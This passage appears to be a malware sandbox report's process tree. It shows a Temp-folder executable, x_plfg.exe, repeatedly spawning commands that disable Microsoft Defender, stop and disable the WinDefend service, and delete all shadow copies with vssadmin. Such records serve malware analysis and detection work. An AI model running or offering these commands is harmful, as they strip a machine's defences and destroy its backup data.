        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        50⤵
        
        PID:17396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:22496
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        52⤵
        
        PID:33840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:40616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:34856
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:43292
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        48⤵
        
        PID:28988
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:32264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:14040
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:15384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        48⤵
        
        PID:16740
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:18588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        50⤵
        
        PID:24584
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:29044
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:33668
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:40868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        46⤵
        
        PID:28932
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:33212
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:13972
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:15188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:16336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:18644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        48⤵
        
        PID:20824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:25412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:33152
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:35408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        44⤵
        
        PID:28940
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:30056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:14032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:14812
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        44⤵
        
        PID:16756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:19368
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:23908
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:27604
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:40008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:33692
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:40948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        42⤵
        
        PID:28692
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:30164
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:13696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:15108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:16456
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:19336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        44⤵
        
        PID:23592
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:27288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:40016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:33732
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:6444
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        40⤵
        
        PID:28548
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:31776
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:13544
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:14772
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:15468
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:17528
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:19808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:24236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:39516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:31072
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:33532
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        38⤵
        
        PID:28132
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:31760
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        38⤵
        
        PID:42500
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:13360
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:14704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:15584
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:17816
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:20468
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:24196
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:42832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:31480
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:34976
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        36⤵
        
        PID:26236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:31784
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:13296
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:14320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:15288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:17336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:19004
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:24468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:43368
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:38776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:41280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:30884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:25908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        34⤵
        
        PID:26220
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:31656
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:13256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:14328
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:15100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:16936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:18408
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:21388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:30824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:33964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:35720
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:42484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:31320
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:32640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        32⤵
        
        PID:26212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:30000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:13100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:14312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:15140
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:16748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:17964
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:22376
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:35620
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:41040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:30832
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:32148
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        30⤵
        
        PID:25848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:31648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:12924
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:13052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:14048
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:15456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:16912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:19996
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:27300
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:30156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:42336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:10884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:28924
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:32752
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        28⤵
        
        PID:25484
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:28748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        28⤵
        
        PID:42024
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:12708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:13504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:13580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:15768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:17164
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:19188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:40416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:33756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:38052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:29648
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:5704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        26⤵
        
        PID:25604
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:29868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:12520
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:12432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:14056
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:15424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:16848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:20796
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:30792
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:33304
        
        C:\Windows\System32\cmd.exe
        
